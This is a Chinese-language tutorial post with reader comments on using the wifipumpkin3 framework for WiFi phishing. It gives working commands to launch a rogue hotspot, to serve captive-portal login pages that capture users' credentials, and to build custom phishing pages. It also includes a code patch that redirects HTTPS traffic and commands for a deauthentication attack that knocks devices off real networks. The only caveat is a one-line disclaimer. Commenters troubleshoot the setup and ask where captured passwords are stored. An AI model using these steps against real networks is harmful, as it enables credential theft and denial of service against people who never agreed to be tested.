简介
wifipumpkin3是用Python编写wifi钓鱼攻击强大框架
可以快速方便的搭建一个钓鱼wifi,进行钓鱼或中间人攻击,免去了手动搭建环境的繁琐步骤
支持的攻击种类有:
恶意访问点攻击
中间人攻击
死角接入点攻击
额外的captiveflask模板
DNS劫持
俘虏门户攻击 (captiveflask)
拦截,检查,修改和重放网络流量
WiFi网络扫描
DNS监控服务
凭证收集
透明代理
LLMNR,NBT-NS和MDNS 投毒(Responder3)
and more!
本文章仅限于技术交流,严禁用于非法途径
安装
使用环境:
kali 2021.2网卡:
RTL8812AU-VS(802.11ac 2x2 USB2.0)
依赖安装
sudo apt install hostapd sudo apt install libssl-dev libffi-dev build-essential sudo apt install python3-pyqt5
框架安装
git clone https://github.com/P0cL4bs/wifipumpkin3.git cd wifipumpkin3 sudo python3 setup.py install
安装完成后使用sudo wifipumpkin3 命令即可开启框架

使用
搭建简单钓鱼热点
使用以下命令可以建立起一个简单的热点
# 设置热点名称 wp3 > set ssid evil # 选择网卡 wp3 > set interface wlan0 # 设置代理插件(后面会讲) wp3 > set proxy noproxy wp3 > start

这时我们就能搜索到搭建的热点

可以正常连接,同时,我们的kali上也会显示连接情况

利用captiveflask强制用户登录
captiveflask是框架中代理功能中的一个选项,他可以阻止连接此wifi的用户上网,并令http请求跳转到钓鱼登录页面,从而获取用户的账号密码
以内置的登录网页为例
在wifipumpkin3/wifipumpkin3/plugins/captiveflask目录,有四个内置登录网页

我们此次使用DarkLogin.py
# 设置热点名称 wp3 > set ssid evil # 选择网卡 wp3 > set interface wlan0 # 设置代理插件 wp3 > set proxy captiveflask # 设置模板 wp3 > set captiveflask.DarkLogin true wp3 > start
通过proxies命令可以看到现在启用的插件和代理

此时链接wifi,即可显示登录页面

如果在此页面输入账号密码,就会被捕获

未登录前所有http网站都无法访问,但是要注意的是,此插件无法拦截https流量
如果想要拦截https流量,需要做以下修改:
设定拦截https
首先关闭wifipumpkin3
修改wifipumpkin3/core/servers/proxy/captiveflask.py,在第119行添加如下
print(display_messages("redirecting HTTPS traffic", info=True)) self.add_default_rules( "{iptables} -t nat -A PREROUTING -i {iface} -p tcp --dport 443 -j DNAT --to-destination {ip}:443".format( iptables=self.getIptablesPath, iface=IFACE, ip=IP_ADDRESS, port=PORT ) )

此时所有https流量均转发至本地443端口
sudo python3 setup.py install
再次访问就无法打开https页面

自定义登录门户页面
首先在wifipumpkin3/wifipumpkin3/plugins/captiveflask目录添加一个模板
我们把DarkLogin.py复制一份,重命名为test.py
吧DarkLogin全替换为test

随后修改配置文件wifipumpkin3/config/app/captive-portal.ini

接着把前端模板按照flask的目录格式,放到wifipumpkin3/config/templates/test文件夹下

重新编译后启动
wp3 > set ssid evil wp3 > set interface wlan0 wp3 > set proxy captiveflask wp3 > set captiveflask.test true wp3 > start

链接wifi,发现跳转到自定义页面

执行wifi取消身份验证攻击
为了能让大部分设备连接我们的钓鱼热点,我们需要通过取消身份验证攻击令连接真实热点的设备掉线
什么是wifi取消身份验证攻击?
wifi取消身份验证攻击是一种拒绝服务攻击,它以用户和wifi接入点之间的通信为目标。
攻击者可以随时将带有身份验证对象欺骗地址的取消身份验证帧发送到无线访问点,令对象掉线。
wp3 > use wifi.wifideauth wp3 : wifideauth > set interface wlan0 wp3 : wifideauth > scan

将信道切换为11

选择一个bssid
wp3 > use wifi.wifideauth wp3 : wifideauth > set interface wlan0 wp3 : wifideauth > set target xx:xx:e2:e8:e4

start运行后,目标wifi即无法连接
如果想将身份验证攻击与钓鱼热点结合使用,则需要准备俩网卡

湖南省长沙市 1F
这个框架配置起来复杂吗?
香港 2F
之前用aircrack折腾半天,这个好像简单些
韩国 B1
@ 灯匠 这个框架比aircrack确实方便不少
北京市 3F
需要俩网卡才能钓鱼+攻击?有点麻烦
云南省临沧市 B1
@ 虚空绘梦师 单网卡凑合用吧,非得俩的话门槛太高了
四川省成都市 4F
试了下kali2022好像装不上,有人遇到吗?
韩国 5F
RTL8812AU这网卡现在不好买了
山东省威海市 B1
@ 黑暗福音 8812AU可以看看某宝的二手,价格还行
上海市 6F
自定义页面部分讲得挺清楚,照着做成功了
菲律宾 7F
这种工具还是谨慎用,别乱搞
广东省广州市 8F
https拦截那个修改实测有效👍
韩国 9F
公司内网测试用这个做安全演练应该不错
黑龙江省哈尔滨市 10F
看了半天还是没懂怎么收集到的密码去哪看
北京市 B1
@ 飘渺之雾 密码在logs文件夹里能找到
台湾省新竹市 11F
公司用这个做演练得先报备吧
山东省潍坊市 B1
@ 食堂干饭王 公司用这玩意不报备怕是要被开除hhh
台湾省 12F
试了下自定义页面,改CSS有点费劲
新加坡 B1
@ 终焉裁决者 改CSS确实麻烦,我折腾半天样式还是错位
黑龙江省哈尔滨市 13F
这工具在win10子系统能用吗?
重庆市 B1
@ 啾啾小奶猫 win10子系统没内核驱动,基本跑不起来吧
山东省菏泽市 14F
取消验证攻击效果确实猛,上次测试直接把会议室WiFi搞瘫了
美国 B1
@ 奶泡小甜心 deauth攻击太狠了,不过公司网络可别乱试
重庆市 15F
感觉文档写得有点乱,新手可能看不懂
浙江省舟山市定海区 16F
只用一个网卡的话,钓鱼效果会打折扣
湖北省宜昌市 B1
@ 热情的火花 一个网卡只能干一半活,想搞全套确实得俩
浙江省台州市 17F
这种技术分享挺好的,但千万别乱用
浙江省 18F
钓鱼页面改完CSS还是丑,有没有好看的模板推荐?
北京市 19F
https拦截改完代码后443端口没起服务咋办🤔
韩国 B1
@ 往昔烟火 改完443那块得自己起个https服务才行,不然就是空转
韩国 20F
我拿树莓派试了下,跑起来贼卡,还是得上kali
北京市 21F
新手问下:密码收集后存在哪个文件里啊?
陕西省西安市 22F
之前用fluxion,感觉这个更轻量,但文档太乱了
日本 B1
@ 龙骨余音 文档乱得像草稿,关键步骤全靠猜,老用户都懵
浙江省台州市 B1
@ 龙骨余音 fluxion吃资源太狠,这个轻是轻了,就是界面丑到不想看
江苏省常州市 23F
实测deauth攻击对iPhone12效果一般,连不上假热点
重庆市 24F
wlan0老是被占,每次都要ifconfig down/up好烦
菲律宾 25F
钓鱼页面丑哭,有没有现成好看的模板啊
河南省许昌市 26F
单网卡只能守株待兔,双网卡才是王道
北京市 27F
密码收集完到底存哪?找了半天没看到日志
河南省郑州市 28F
https拦截改完代码得手动起443服务才行
北京市 29F
新手问下captiveflask能抓微信账号吗?
广西贵港市 30F
这工具比fluxion顺手,就是文档跟天书一样
吉林省长春市 31F
树莓派跑这个真不行,CPU直接干到100%
上海市崇明县 32F
这工具真能抓到密码?我试了几次都没日志输出啊
山东省济南市 33F
单网卡跑起来确实鸡肋,守株待兔成功率太低了
日本 34F
前几天刚用这玩意做内网演练,deauth一开全员掉线hhh
上海市 35F
看着挺复杂,得配双网卡才好玩吧
韩国 36F
光看命令头都大了
美国 B1
@ 初音 刚接触都这样,慢慢来
湖南省长沙市 37F
Kali2021版本现在还能用吗?
浙江省杭州市 38F
这工具功能还挺全的
天津市 B1
@ 异志残魂 功能是挺全的,适合搞安全测试用
江苏省无锡市 39F
需要双网卡这点有点劝退啊